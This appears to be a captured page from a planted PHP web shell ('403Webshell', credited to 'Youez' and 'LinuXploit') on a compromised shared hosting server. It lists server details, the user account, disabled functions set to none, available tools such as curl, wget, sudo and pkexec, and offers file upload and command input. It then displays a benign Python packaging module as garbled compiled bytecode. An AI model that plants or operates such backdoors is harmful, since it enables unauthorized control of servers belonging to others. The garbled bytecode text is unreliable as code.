403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/packaging/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/packaging/_musllinux.pyc
a

i��f�
�	@sdZddlmZddlZddlZddlZddlZddlmZm	Z	m
Z
ddlmZGdd�de	�Z
d	d
d�dd
�Zejd	d
d�dd��Zddd�dd�Zedk�rddlZe��Ze�d�s�Jd��ede�edeej��eddd�ee�dde�d d�d!��D]Zeed"d��qdS)#z�PEP 656 support.

This module implements logic to detect if the currently running Python is
linked against musl, and what musl version is used.
�)�annotationsN)�Iterator�
NamedTuple�Sequence�)�ELFFilec@seZdZUded<ded<dS)�_MuslVersion�int�major�minorN)�__name__�
__module__�__qualname__�__annotations__�rr�x/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/packaging/_musllinux.pyrs
r�strz_MuslVersion | None)�output�returncCsxdd�dd�|��D�D�}t|�dks<|ddd�dkr@dSt�d	|d
�}|sXdStt|�d
��t|�d��d�S)NcSsg|]}|r|�qSrr��.0�nrrr�
<listcomp>�z'_parse_musl_version.<locals>.<listcomp>css|]}|��VqdS)N)�striprrrr�	<genexpr>rz&_parse_musl_version.<locals>.<genexpr>�r��muslzVersion (\d+)\.(\d+)r)r
r)�
splitlines�len�re�matchrr	�group)r�lines�mrrr�_parse_musl_versions r&)�
executablerc
Cs�z8t|d��}t|�j}Wd�n1s,0YWntttfyRYdS0|dusdd|vrhdStj|gtjdd�}t	|j
�S)a`Detect currently-running musl runtime version.

    This is done by checking the specified executable's dynamic linking
    information, and invoking the loader to parse its output for a version
    string. If the loader is musl, the output would be something like::

        musl libc (x86_64)
        Version 1.2.2
        Dynamic Program Loader
    �rbNrT)�stderr�text)�openr�interpreter�OSError�	TypeError�
ValueError�
subprocess�run�PIPEr&r))r'�f�ld�procrrr�_get_musl_version!s,r6z
Sequence[str]z
Iterator[str])�archsrccsRttj�}|durdS|D]2}t|jdd�D]}d|j�d|�d|��Vq,qdS)a�Generate musllinux tags compatible to the current platform.

    :param archs: Sequence of compatible architectures.
        The first one shall be the closest to the actual architecture and be the part of
        platform tag after the ``linux_`` prefix, e.g. ``x86_64``.
        The ``linux_`` prefix is assumed as a prerequisite for the current platform to
        be musllinux-compatible.

    :returns: An iterator of compatible musllinux tags.
    N����
musllinux_�_)r6�sysr'�rangerr
)r7�sys_musl�archrrrr�
platform_tags8s
r?�__main__zlinux-z	not linuxzplat:zmusl:ztags:� )�endz[.-]r:�-r8z
      )�__doc__�
__future__r�	functoolsr!r0r;�typingrrr�_elffilerrr&�	lru_cacher6r?r�	sysconfig�get_platform�plat�
startswith�printr'�sub�split�trrrr�<module>s*


"

Youez - 2016 - github.com/yon3zu
LinuXploit